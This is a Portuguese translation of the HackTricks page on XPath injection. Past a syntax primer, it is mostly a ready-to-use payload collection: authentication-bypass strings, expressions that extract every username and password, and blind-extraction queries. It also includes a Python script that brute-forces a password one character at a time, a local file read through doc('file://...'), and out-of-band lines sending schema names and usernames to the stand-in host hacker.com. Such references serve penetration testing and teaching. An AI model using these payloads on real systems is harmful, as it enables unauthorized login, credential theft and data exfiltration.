14 KiB
Injeção de XPATH
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Obtenha o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Sintaxe Básica
Uma técnica de ataque conhecida como Injeção de XPATH é utilizada para aproveitar aplicações que formam consultas XPath (Linguagem de Caminho XML) com base na entrada do usuário para consultar ou navegar em documentos XML.
Nós Descritos
Expressões são usadas para selecionar vários nós em um documento XML. Essas expressões e suas descrições são resumidas abaixo:
- nodename: Todos os nós com o nome "nodename" são selecionados.
- /: A seleção é feita a partir do nó raiz.
- //: Nós que correspondem à seleção a partir do nó atual são selecionados, independentemente de sua localização no documento.
- .: O nó atual é selecionado.
- ..: O pai do nó atual é selecionado.
- @: Atributos são selecionados.
Exemplos de XPATH
Exemplos de expressões de caminho e seus resultados incluem:
- livraria: Todos os nós com o nome "livraria" são selecionados.
- /livraria: O elemento raiz livraria é selecionado. É observado que um caminho absoluto para um elemento é representado por um caminho que começa com uma barra (/).
- livraria/livro: Todos os elementos livro que são filhos de livraria são selecionados.
- //livro: Todos os elementos livro no documento são selecionados, independentemente de sua localização.
- livraria//livro: Todos os elementos livro que são descendentes do elemento livraria são selecionados, não importa sua posição sob o elemento livraria.
- //@lang: Todos os atributos chamados lang são selecionados.
Utilização de Predicados
Predicados são usados para refinar seleções:
- /livraria/livro[1]: O primeiro elemento livro filho do elemento livraria é selecionado. Uma solução alternativa para as versões do IE de 5 a 9, que indexam o primeiro nó como [0], é definir a SelectionLanguage para XPath através do JavaScript.
- /livraria/livro[last()]: O último elemento livro filho do elemento livraria é selecionado.
- /livraria/livro[last()-1]: O penúltimo elemento livro filho do elemento livraria é selecionado.
- /livraria/livro[position()<3]: Os dois primeiros elementos livro filhos do elemento livraria são selecionados.
- //título[@lang]: Todos os elementos título com um atributo lang são selecionados.
- //título[@lang='en']: Todos os elementos título com um valor de atributo "lang" de "en" são selecionados.
- /livraria/livro[preço>35.00]: Todos os elementos livro da livraria com um preço maior que 35.00 são selecionados.
- /livraria/livro[preço>35.00]/título: Todos os elementos título dos elementos livro da livraria com um preço maior que 35.00 são selecionados.
Manipulação de Nós Desconhecidos
Curingas são empregados para corresponder a nós desconhecidos:
- *: Corresponde a qualquer nó de elemento.
- @*: Corresponde a qualquer nó de atributo.
- node(): Corresponde a qualquer nó de qualquer tipo.
Outros exemplos incluem:
- /livraria/*: Seleciona todos os nós de elementos filhos do elemento livraria.
- //*: Seleciona todos os elementos no documento.
- //título[@*]: Seleciona todos os elementos título com pelo menos um atributo de qualquer tipo.
Exemplo
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Acesse as informações
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identificar e roubar o esquema
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Autenticação Bypass
Exemplo de consultas:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Bypass de OR em usuário e senha (mesmo valor em ambos)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Explorando a injeção de nulos
Username: ' or 1]%00
Duplo OU no nome de usuário ou na senha (é válido com apenas 1 campo vulnerável)
IMPORTANTE: Note que o "e" é a primeira operação realizada.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extração de String
A saída contém strings e o usuário pode manipular os valores para pesquisar:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Exploração às Cegas
Obter o comprimento de um valor e extraí-lo por comparações:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Exemplo em Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Ler arquivo
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Exploração OOB
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Ferramenta automática
Referências
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.